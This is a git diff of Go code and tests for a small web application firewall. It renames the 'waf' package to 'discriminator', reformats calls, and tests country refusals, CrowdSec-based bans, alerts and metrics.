line := out.endedLines(t, i+1)[i]
|
line := out.endedLines(t, i+1)[i]
|
||||||
if line.ASN != sent.asn || line.ASName != sent.asName ||
|
if line.ASN != sent.asn || line.ASName != sent.asName ||
|
||||||
line.Country != sent.country {
|
line.Country != sent.country {
|
||||||
t.Errorf(
|
t.Errorf("log line has %q, %q and %q, want %q, %q and %q",
|
||||||
"log line has %q, %q and %q, want %q, %q and %q",
|
line.ASN, line.ASName, line.Country,
|
||||||
line.ASN,
|
sent.asn, sent.asName, sent.country)
|
||||||
line.ASName,
|
|
||||||
line.Country,
|
|
||||||
sent.asn,
|
|
||||||
sent.asName,
|
|
||||||
sent.country,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if slices.Contains(tc.refused, sent.client) {
|
if slices.Contains(tc.refused, sent.client) {
|
||||||
wantStatus(t, got, http.StatusForbidden)
|
wantStatus(t, got, http.StatusForbidden)
|
||||||
wantLine(
|
wantLine(t, line, http.StatusForbidden, requestlog.ActionCountryDenied)
|
||||||
t,
|
|
||||||
line,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionCountryDenied,
|
|
||||||
)
|
|
||||||
} else {
|
} else {
|
||||||
wantStatus(t, got, http.StatusOK)
|
wantStatus(t, got, http.StatusOK)
|
||||||
wantLine(t, line, http.StatusOK, requestlog.ActionForward)
|
wantLine(t, line, http.StatusOK, requestlog.ActionForward)
|
||||||
@@ -112,19 +98,11 @@ func TestCountryRefusalNamesItsHeuristicCountryAndSetting(t *testing.T) {
|
|||||||
lookupTimeout: "1h", allowedCountries: "de",
|
lookupTimeout: "1h", allowedCountries: "de",
|
||||||
})
|
})
|
||||||
|
|
||||||
line := s.get(
|
line := s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied)
|
||||||
fromKP,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionCountryDenied,
|
|
||||||
)
|
|
||||||
wantHeuristic(t, line, "countries",
|
wantHeuristic(t, line, "countries",
|
||||||
`{"country": "KP", "setting": "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"}`)
|
`{"country": "KP", "setting": "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"}`)
|
||||||
|
|
||||||
line = s.get(
|
line = s.get(unplaced, http.StatusForbidden, requestlog.ActionCountryDenied)
|
||||||
unplaced,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionCountryDenied,
|
|
||||||
)
|
|
||||||
wantHeuristic(t, line, "countries",
|
wantHeuristic(t, line, "countries",
|
||||||
`{"country": "", "setting": "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"}`)
|
`{"country": "", "setting": "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"}`)
|
||||||
}
|
}
|
||||||
@@ -144,13 +122,7 @@ func TestCountryRefusalKeepsARequestFromTheApp(t *testing.T) {
|
|||||||
allowedCountries: "de",
|
allowedCountries: "de",
|
||||||
})
|
})
|
||||||
|
|
||||||
req := newRequest(
|
req := newRequest(t, http.MethodPost, addr, "/", strings.NewReader("a body"))
|
||||||
t,
|
|
||||||
http.MethodPost,
|
|
||||||
addr,
|
|
||||||
"/",
|
|
||||||
strings.NewReader("a body"),
|
|
||||||
)
|
|
||||||
req.Header.Set(forwardedFor, fromKP)
|
req.Header.Set(forwardedFor, fromKP)
|
||||||
wantStatus(t, do(t, req), http.StatusForbidden)
|
wantStatus(t, do(t, req), http.StatusForbidden)
|
||||||
|
|
||||||
@@ -177,9 +149,7 @@ func TestRequestRefusedByCountryIsNotCounted(t *testing.T) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
answer := []geojsAnswer{
|
answer := []geojsAnswer{{IP: r.URL.Query().Get("ip"), CountryCode: "DE"}}
|
||||||
{IP: r.URL.Query().Get("ip"), CountryCode: "DE"},
|
|
||||||
}
|
|
||||||
|
|
||||||
err := json.NewEncoder(w).Encode(answer)
|
err := json.NewEncoder(w).Encode(answer)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -239,10 +209,7 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
|
|||||||
|
|
||||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
|
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
|
||||||
geojsURL, asked := startGeoJS(t)
|
geojsURL, asked := startGeoJS(t)
|
||||||
env := map[string]string{
|
env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"}
|
||||||
trustedProxies: trustLocalhost,
|
|
||||||
lookupTimeout: "1h",
|
|
||||||
}
|
|
||||||
maps.Copy(env, tc.env)
|
maps.Copy(env, tc.env)
|
||||||
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
|
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
|
||||||
|
|
||||||
@@ -263,12 +230,8 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
|
|||||||
for _, field := range []string{"asn", "as_name", "country"} {
|
for _, field := range []string{"asn", "as_name", "country"} {
|
||||||
value, present := line.fields[field]
|
value, present := line.fields[field]
|
||||||
if !present || value != "" {
|
if !present || value != "" {
|
||||||
t.Errorf(
|
t.Errorf("log line for %q has %s %v, want an empty one",
|
||||||
"log line for %q has %s %v, want an empty one",
|
line.ClientIP, field, value)
|
||||||
line.ClientIP,
|
|
||||||
field,
|
|
||||||
value,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -280,16 +243,10 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
|
|||||||
req.Header.Set(forwardedFor, fromDE)
|
req.Header.Set(forwardedFor, fromDE)
|
||||||
wantStatus(t, do(t, req), http.StatusOK)
|
wantStatus(t, do(t, req), http.StatusOK)
|
||||||
|
|
||||||
waitUntil(
|
waitUntil(func() bool { return slices.Contains(asked(), fromDE) })
|
||||||
func() bool { return slices.Contains(asked(), fromDE) },
|
|
||||||
)
|
|
||||||
|
|
||||||
if got := asked(); !slices.Equal(got, []string{fromDE}) {
|
if got := asked(); !slices.Equal(got, []string{fromDE}) {
|
||||||
t.Errorf(
|
t.Errorf("GeoJS was asked about %v, want %s alone", got, fromDE)
|
||||||
"GeoJS was asked about %v, want %s alone",
|
|
||||||
got,
|
|
||||||
fromDE,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -318,16 +275,11 @@ func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) {
|
|||||||
|
|
||||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
|
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
|
||||||
geojsURL, asked := startGeoJS(t)
|
geojsURL, asked := startGeoJS(t)
|
||||||
addr, out := startProxyWithGeoJS(
|
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
|
||||||
t,
|
trustedProxies: trustLocalhost,
|
||||||
app.URL,
|
allowedCountries: "de",
|
||||||
geojsURL,
|
allowNets: tc.allowNets,
|
||||||
map[string]string{
|
})
|
||||||
trustedProxies: trustLocalhost,
|
|
||||||
allowedCountries: "de",
|
|
||||||
allowNets: tc.allowNets,
|
|
||||||
},
|
|
||||||
)
|
|
||||||
|
|
||||||
wantAnswers(t, addr, out, []sentRequest{
|
wantAnswers(t, addr, out, []sentRequest{
|
||||||
{"10.0.0.7", tc.status, tc.action},
|
{"10.0.0.7", tc.status, tc.action},
|
||||||
@@ -431,19 +383,9 @@ type geojsAnswer struct {
|
|||||||
func answerAbout(addr string) geojsAnswer {
|
func answerAbout(addr string) geojsAnswer {
|
||||||
switch addr {
|
switch addr {
|
||||||
case fromDE:
|
case fromDE:
|
||||||
return geojsAnswer{
|
return geojsAnswer{IP: addr, ASN: 64496, ASName: asNameDE, CountryCode: "DE"}
|
||||||
IP: addr,
|
|
||||||
ASN: 64496,
|
|
||||||
ASName: asNameDE,
|
|
||||||
CountryCode: "DE",
|
|
||||||
}
|
|
||||||
case fromKP:
|
case fromKP:
|
||||||
return geojsAnswer{
|
return geojsAnswer{IP: addr, ASN: 64511, ASName: asNameKP, CountryCode: "KP"}
|
||||||
IP: addr,
|
|
||||||
ASN: 64511,
|
|
||||||
ASName: asNameKP,
|
|
||||||
CountryCode: "KP",
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return geojsAnswer{IP: addr, ASN: 64512, ASName: "Unknown"}
|
return geojsAnswer{IP: addr, ASN: 64512, ASName: "Unknown"}
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf
|
package discriminator
|
||||||
|
|
||||||
// The heuristic crowdsec. It reads SWW_CROWDSEC_LAPI_URL, and the decisions
|
// The heuristic crowdsec. It reads SWW_CROWDSEC_LAPI_URL, and the decisions
|
||||||
// through the reputation lists.
|
// through the reputation lists.
|
||||||
@@ -21,11 +21,7 @@ type crowdSec struct{}
|
|||||||
|
|
||||||
func (crowdSec) name() string { return "crowdsec" }
|
func (crowdSec) name() string { return "crowdsec" }
|
||||||
|
|
||||||
func (crowdSec) check(
|
func (crowdSec) check(_ context.Context, rq *request, now time.Time) *verdict {
|
||||||
_ context.Context,
|
|
||||||
rq *request,
|
|
||||||
now time.Time,
|
|
||||||
) *verdict {
|
|
||||||
decision, listed := rq.crowdSecDecisionInForce(now)
|
decision, listed := rq.crowdSecDecisionInForce(now)
|
||||||
if !listed {
|
if !listed {
|
||||||
return nil
|
return nil
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf_test
|
package discriminator_test
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"net/http"
|
"net/http"
|
||||||
@@ -9,14 +9,14 @@ import (
|
|||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// The CrowdSec settings, and the tests' engine, which is never asked: each
|
// The CrowdSec settings, and the tests' engine, which is never asked: each
|
||||||
// test puts in the copy of its decision list, at decisionsURL, that it
|
// test puts in the copy of its decision list, at decisionsURL, that it
|
||||||
// needs, as lists.json would at start.
|
// needs, as reputation.json would at start.
|
||||||
const (
|
const (
|
||||||
crowdSecURL = "SWW_CROWDSEC_LAPI_URL"
|
crowdSecURL = "SWW_CROWDSEC_LAPI_URL"
|
||||||
crowdSecKey = "SWW_CROWDSEC_LAPI_KEY"
|
crowdSecKey = "SWW_CROWDSEC_LAPI_KEY"
|
||||||
@@ -25,9 +25,7 @@ const (
|
|||||||
bouncerKey = "crowdsec-key-0123456789abcdef"
|
bouncerKey = "crowdsec-key-0123456789abcdef"
|
||||||
)
|
)
|
||||||
|
|
||||||
func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(
|
func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, clk, server, queue := startWithAlerts(t, map[string]string{
|
s, clk, server, queue := startWithAlerts(t, map[string]string{
|
||||||
@@ -41,56 +39,44 @@ func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(
|
|||||||
expires := requestlog.FormatTime(fetched.Add(4 * time.Hour))
|
expires := requestlog.FormatTime(fetched.Add(4 * time.Hour))
|
||||||
|
|
||||||
// Its first request is refused, and bans it until the decision ends.
|
// Its first request is refused, and bans it until the decision ends.
|
||||||
banned := requestlog.ActionTemporarilyBanned
|
line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||||
line := s.get(client, http.StatusForbidden, banned)
|
|
||||||
wantReputation(t, line, decisionsURL)
|
wantReputation(t, line, decisionsURL)
|
||||||
|
|
||||||
if line.BanExpires != expires {
|
if line.BanExpires != expires {
|
||||||
t.Errorf("log line has ban_expires %q, want %s",
|
t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, expires)
|
||||||
line.BanExpires, expires)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
listed := []bans.ReputationHit{{Source: decisionsURL}}
|
listed := []bans.ReputationHit{{Source: decisionsURL}}
|
||||||
|
|
||||||
held := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
|
held := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
|
||||||
if len(held) != 1 || held[0].Cause != bans.CauseCrowdSec ||
|
if len(held) != 1 || held[0].Cause != bans.CauseCrowdSec ||
|
||||||
!held[0].Start.Equal(fetched) ||
|
!held[0].Start.Equal(fetched) || !held[0].Expires.Equal(fetched.Add(4*time.Hour)) ||
|
||||||
!held[0].Expires.Equal(fetched.Add(4*time.Hour)) ||
|
|
||||||
held[0].Reason != "CrowdSec's decision for crowdsecurity/ssh-bf" ||
|
held[0].Reason != "CrowdSec's decision for crowdsecurity/ssh-bf" ||
|
||||||
!reflect.DeepEqual(held[0].Notes.Reputation, listed) ||
|
!reflect.DeepEqual(held[0].Notes.Reputation, listed) ||
|
||||||
held[0].Notes.Request.Path != "/" || held[0].Notes.Requests != 1 {
|
held[0].Notes.Request.Path != "/" || held[0].Notes.Requests != 1 {
|
||||||
t.Fatalf(
|
t.Fatalf("bans %+v, want one for crowdsec of four hours, with the list and "+
|
||||||
"bans %+v, want one for crowdsec of four hours, with the list and "+
|
"the request in its notes", held)
|
||||||
"the request in its notes",
|
|
||||||
held,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// The listing raises a reputation_hit alert, and the ban its own.
|
// The listing raises a reputation_hit alert, and the ban its own.
|
||||||
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||||
if len(waiting) != 2 || waiting[0].Event != alerts.EventReputationHit ||
|
if len(waiting) != 2 || waiting[0].Event != alerts.EventReputationHit ||
|
||||||
waiting[0].Reason != "listed by the CrowdSec decision list" ||
|
waiting[0].Reason != "listed by the CrowdSec decision list" ||
|
||||||
!reflect.DeepEqual(
|
!reflect.DeepEqual(waiting[1], banAlert(alerts.EventBan, fetched, client, held[0],
|
||||||
waiting[1],
|
expires)) {
|
||||||
banAlert(alerts.EventBan, fetched, client, held[0],
|
t.Errorf("alerts waiting %+v, want a reputation_hit alert, then the ban's",
|
||||||
expires),
|
waiting)
|
||||||
) {
|
|
||||||
t.Errorf(
|
|
||||||
"alerts waiting %+v, want a reputation_hit alert, then the ban's",
|
|
||||||
waiting,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Each request while the ban lasts is refused under it, as under any
|
// Each request while the ban lasts is refused under it, as under any
|
||||||
// ban, and once it has ended the client is let through.
|
// ban, and once it has ended the client is let through.
|
||||||
clk.advance(4*time.Hour - time.Second)
|
clk.advance(4*time.Hour - time.Second)
|
||||||
|
|
||||||
line = s.get(client, http.StatusForbidden, banned)
|
line = s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||||
wantReputation(t, line)
|
wantReputation(t, line)
|
||||||
|
|
||||||
if line.BanExpires != expires {
|
if line.BanExpires != expires {
|
||||||
t.Errorf("log line has ban_expires %q, want %s",
|
t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, expires)
|
||||||
line.BanExpires, expires)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
clk.advance(time.Second)
|
clk.advance(time.Second)
|
||||||
@@ -105,12 +91,8 @@ func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(
|
|||||||
`instance="`+alertInstance+`"}`, 1)
|
`instance="`+alertInstance+`"}`, 1)
|
||||||
wantMetric(t, metrics, "sww_reputation_hits_total"+labels, 1)
|
wantMetric(t, metrics, "sww_reputation_hits_total"+labels, 1)
|
||||||
wantMetric(t, metrics, "sww_reputation_failures_total"+labels, 0)
|
wantMetric(t, metrics, "sww_reputation_failures_total"+labels, 0)
|
||||||
wantMetric(
|
wantMetric(t, metrics, "sww_reputation_last_fetch_timestamp_seconds"+labels,
|
||||||
t,
|
float64(fetched.Unix()))
|
||||||
metrics,
|
|
||||||
"sww_reputation_last_fetch_timestamp_seconds"+labels,
|
|
||||||
float64(fetched.Unix()),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestCrowdSecBanNamesItsHeuristicScenarioAndEnd(t *testing.T) {
|
func TestCrowdSecBanNamesItsHeuristicScenarioAndEnd(t *testing.T) {
|
||||||
@@ -123,24 +105,13 @@ func TestCrowdSecBanNamesItsHeuristicScenarioAndEnd(t *testing.T) {
|
|||||||
`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
|
`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
|
||||||
`"value": "`+client+`"}]`)
|
`"value": "`+client+`"}]`)
|
||||||
|
|
||||||
line := s.get(
|
line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||||
client,
|
wantHeuristic(t, line, "crowdsec", `{"scenario": "crowdsecurity/ssh-bf", `+
|
||||||
http.StatusForbidden,
|
`"expires": "`+requestlog.FormatTime(clk.Now().Add(4*time.Hour))+`"}`)
|
||||||
requestlog.ActionTemporarilyBanned,
|
|
||||||
)
|
|
||||||
wantHeuristic(
|
|
||||||
t,
|
|
||||||
line,
|
|
||||||
"crowdsec",
|
|
||||||
`{"scenario": "crowdsecurity/ssh-bf", `+
|
|
||||||
`"expires": "`+requestlog.FormatTime(clk.Now().Add(4*time.Hour))+`"}`,
|
|
||||||
)
|
|
||||||
wantTags(t, line, "crowdsec")
|
wantTags(t, line, "crowdsec")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt(
|
func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, clk, server := startWithClock(t, "", map[string]string{
|
s, clk, server := startWithClock(t, "", map[string]string{
|
||||||
@@ -158,44 +129,24 @@ func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt(
|
|||||||
// Just before its end, the decision bans a client in the netblock, and
|
// Just before its end, the decision bans a client in the netblock, and
|
||||||
// one on an IPv6 address bans the address's group, the /64.
|
// one on an IPv6 address bans the address's group, the /64.
|
||||||
clk.advance(time.Minute - time.Nanosecond)
|
clk.advance(time.Minute - time.Nanosecond)
|
||||||
s.get(
|
s.get("198.51.100.7", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||||
"198.51.100.7",
|
s.get("2001:db8::9", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||||
http.StatusForbidden,
|
s.get("2001:db8::5", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||||
requestlog.ActionTemporarilyBanned,
|
|
||||||
)
|
|
||||||
s.get(
|
|
||||||
"2001:db8::9",
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionTemporarilyBanned,
|
|
||||||
)
|
|
||||||
s.get(
|
|
||||||
"2001:db8::5",
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionTemporarilyBanned,
|
|
||||||
)
|
|
||||||
|
|
||||||
// Once it has ended, it bans no other client, and the bans it made end
|
// Once it has ended, it bans no other client, and the bans it made end
|
||||||
// with it.
|
// with it.
|
||||||
clk.advance(time.Nanosecond)
|
clk.advance(time.Nanosecond)
|
||||||
|
|
||||||
for _, from := range []string{"198.51.100.8", "198.51.100.7", "2001:db8::5"} {
|
for _, from := range []string{"198.51.100.8", "198.51.100.7", "2001:db8::5"} {
|
||||||
wantReputation(
|
wantReputation(t, s.get(from, http.StatusOK, requestlog.ActionForward))
|
||||||
t,
|
|
||||||
s.get(from, http.StatusOK, requestlog.ActionForward),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if made := server.Ledger.Made(bans.CauseCrowdSec); made != 2 {
|
if made := server.Ledger.Made(bans.CauseCrowdSec); made != 2 {
|
||||||
t.Errorf(
|
t.Errorf("%d bans made for crowdsec, want 2, on 198.51.100.7/32 and "+
|
||||||
"%d bans made for crowdsec, want 2, on 198.51.100.7/32 and "+
|
"2001:db8::/64", made)
|
||||||
"2001:db8::/64",
|
|
||||||
made,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if held := server.Ledger.Bans(netip.MustParsePrefix("2001:db8::/64")); len(
|
if held := server.Ledger.Bans(netip.MustParsePrefix("2001:db8::/64")); len(held) != 1 {
|
||||||
held,
|
|
||||||
) != 1 {
|
|
||||||
t.Errorf("bans of 2001:db8::/64 %+v, want one", held)
|
t.Errorf("bans of 2001:db8::/64 %+v, want one", held)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -224,19 +175,16 @@ func TestObserveModeForwardsAClientTheCrowdSecDecisionListListsAndAlertsTheBan(
|
|||||||
if len(waiting) != 2 || waiting[1].Event != alerts.EventBan ||
|
if len(waiting) != 2 || waiting[1].Event != alerts.EventBan ||
|
||||||
waiting[1].Detail["cause"] != bans.CauseCrowdSec ||
|
waiting[1].Detail["cause"] != bans.CauseCrowdSec ||
|
||||||
waiting[1].Detail["mode"] != observe {
|
waiting[1].Detail["mode"] != observe {
|
||||||
t.Errorf(
|
t.Errorf("alerts waiting %+v, want a reputation_hit alert, then the ban alert "+
|
||||||
"alerts waiting %+v, want a reputation_hit alert, then the ban alert "+
|
"marked observe", waiting)
|
||||||
"marked observe",
|
|
||||||
waiting,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// loadDecisions puts into server's lists the copy of the decision list at
|
// loadDecisions puts into server's lists the copy of the decision list at
|
||||||
// decisionsURL, answer, the engine's answer, fetched at fetched, as
|
// decisionsURL, answer, the engine's answer, fetched at fetched, as
|
||||||
// lists.json would at start.
|
// reputation.json would at start.
|
||||||
func loadDecisions(
|
func loadDecisions(
|
||||||
t *testing.T, server *waf.Server, fetched time.Time, answer string,
|
t *testing.T, server *discriminator.Server, fetched time.Time, answer string,
|
||||||
) {
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf
|
package discriminator
|
||||||
|
|
||||||
// The heuristic deny_nets. It reads SWW_DENY_NETS.
|
// The heuristic deny_nets. It reads SWW_DENY_NETS.
|
||||||
|
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf
|
package discriminator
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"bytes"
|
"bytes"
|
||||||
@@ -18,8 +18,8 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
)
|
)
|
||||||
|
|
||||||
// The headers of rproxy's question and of waf's answer, as
|
// The headers of rproxy's question and of discriminator's answer, as
|
||||||
// "waf" in SPEC.md gives them.
|
// "discriminator" in SPEC.md gives them.
|
||||||
const (
|
const (
|
||||||
// ClientHeader marks a request as rproxy's question, and gives the
|
// ClientHeader marks a request as rproxy's question, and gives the
|
||||||
// visitor's address.
|
// visitor's address.
|
||||||
@@ -28,7 +28,7 @@ const (
|
|||||||
PeerHeader = "X-Sww-Peer"
|
PeerHeader = "X-Sww-Peer"
|
||||||
// ContentLengthHeader gives the body length the visitor announced.
|
// ContentLengthHeader gives the body length the visitor announced.
|
||||||
ContentLengthHeader = "X-Sww-Content-Length"
|
ContentLengthHeader = "X-Sww-Content-Length"
|
||||||
// DispositionHeader gives waf's answer.
|
// DispositionHeader gives discriminator's answer.
|
||||||
DispositionHeader = "X-Sww-Disposition"
|
DispositionHeader = "X-Sww-Disposition"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -41,12 +41,12 @@ const (
|
|||||||
DispositionDeny = "deny"
|
DispositionDeny = "deny"
|
||||||
// DispositionClose tells rproxy to close the visitor's connection
|
// DispositionClose tells rproxy to close the visitor's connection
|
||||||
// without an answer, which SWW_BAN_RESPONSE asks for when it is close.
|
// without an answer, which SWW_BAN_RESPONSE asks for when it is close.
|
||||||
// waf closing the question's connection instead would read as
|
// discriminator closing the question's connection instead would read as
|
||||||
// waf being down, and rproxy would then let the request through.
|
// discriminator being down, and rproxy would then let the request through.
|
||||||
DispositionClose = "close"
|
DispositionClose = "close"
|
||||||
)
|
)
|
||||||
|
|
||||||
// ReportPath is where rproxy sends the report of each request waf
|
// ReportPath is where rproxy sends the report of each request discriminator
|
||||||
// answered.
|
// answered.
|
||||||
const ReportPath = "/_sww/report"
|
const ReportPath = "/_sww/report"
|
||||||
|
|
||||||
@@ -70,11 +70,11 @@ const (
|
|||||||
// maxReportedMilliseconds is the longest duration a report may give,
|
// maxReportedMilliseconds is the longest duration a report may give,
|
||||||
// about 31 years, so that it fits a time.Duration.
|
// about 31 years, so that it fits a time.Duration.
|
||||||
maxReportedMilliseconds = 1e12
|
maxReportedMilliseconds = 1e12
|
||||||
// wafTimeout bounds how long a request to waf takes to
|
// discriminatorTimeout bounds how long a request to discriminator takes to
|
||||||
// arrive, and its answer to leave, and wafIdleTimeout how long a
|
// arrive, and its answer to leave, and discriminatorIdleTimeout how long a
|
||||||
// kept-open connection waits for its next request.
|
// kept-open connection waits for its next request.
|
||||||
wafTimeout = 60 * time.Second
|
discriminatorTimeout = 60 * time.Second
|
||||||
wafIdleTimeout = 120 * time.Second
|
discriminatorIdleTimeout = 120 * time.Second
|
||||||
)
|
)
|
||||||
|
|
||||||
var (
|
var (
|
||||||
@@ -97,7 +97,7 @@ type Report struct {
|
|||||||
DurationUpstreamTotalMS float64 `json:"duration_upstream_total_ms"`
|
DurationUpstreamTotalMS float64 `json:"duration_upstream_total_ms"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// New returns the server `sww waf` runs. It answers
|
// New returns the server `sww discriminator` runs. It answers
|
||||||
// rproxy's questions, takes rproxy's reports and answers its own endpoints. It
|
// rproxy's questions, takes rproxy's reports and answers its own endpoints. It
|
||||||
// passes nothing to an app. rproxy applies the size and time limits to the
|
// passes nothing to an app. rproxy applies the size and time limits to the
|
||||||
// visitor. Go's default limit on a request's line and headers, 1 MiB, stays: it
|
// visitor. Go's default limit on a request's line and headers, 1 MiB, stays: it
|
||||||
@@ -108,15 +108,12 @@ func New(params Params) *Server {
|
|||||||
|
|
||||||
return &Server{
|
return &Server{
|
||||||
Server: &http.Server{
|
Server: &http.Server{
|
||||||
Addr: params.Config.ListenAddr,
|
Addr: params.Config.ListenAddr,
|
||||||
Handler: h,
|
Handler: h,
|
||||||
ErrorLog: slog.NewLogLogger(
|
ErrorLog: slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn),
|
||||||
params.ProcessLog.Handler(),
|
ReadTimeout: discriminatorTimeout,
|
||||||
slog.LevelWarn,
|
WriteTimeout: discriminatorTimeout,
|
||||||
),
|
IdleTimeout: discriminatorIdleTimeout,
|
||||||
ReadTimeout: wafTimeout,
|
|
||||||
WriteTimeout: wafTimeout,
|
|
||||||
IdleTimeout: wafIdleTimeout,
|
|
||||||
},
|
},
|
||||||
Ledger: h.ledger,
|
Ledger: h.ledger,
|
||||||
Limiter: h.limiter,
|
Limiter: h.limiter,
|
||||||
@@ -131,8 +128,8 @@ func New(params Params) *Server {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// ServeHTTP handles one request to waf: a request carrying
|
// ServeHTTP handles one request to discriminator: a request carrying
|
||||||
// ClientHeader is rproxy's question, and any other is for waf
|
// ClientHeader is rproxy's question, and any other is for discriminator
|
||||||
// itself.
|
// itself.
|
||||||
func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||||
if len(r.Header.Values(ClientHeader)) > 0 {
|
if len(r.Header.Values(ClientHeader)) > 0 {
|
||||||
@@ -146,9 +143,10 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
|||||||
|
|
||||||
// refusedWhateverTheAnswer reports whether the request is one that does not wait
|
// refusedWhateverTheAnswer reports whether the request is one that does not wait
|
||||||
// for GeoJS, since the checks will refuse it at now whatever GeoJS answers about
|
// for GeoJS, since the checks will refuse it at now whatever GeoJS answers about
|
||||||
// its client: the heuristic crowdsec, blocklists or rate_limits will refuse it,
|
// its client: the heuristic crowdsec, header_limits, blocklists or rate_limits
|
||||||
// as a function in that heuristic's file says. In observe mode, which refuses
|
// will refuse it, as a function in that heuristic's file says. In observe mode,
|
||||||
// nothing, none is. rproxy lets a request through when waf answers too late.
|
// which refuses nothing, none is. rproxy lets a request through when
|
||||||
|
// discriminator answers too late.
|
||||||
func (rq *request) refusedWhateverTheAnswer(now time.Time) bool {
|
func (rq *request) refusedWhateverTheAnswer(now time.Time) bool {
|
||||||
if rq.h.config.Observe {
|
if rq.h.config.Observe {
|
||||||
return false
|
return false
|
||||||
@@ -156,7 +154,7 @@ func (rq *request) refusedWhateverTheAnswer(now time.Time) bool {
|
|||||||
|
|
||||||
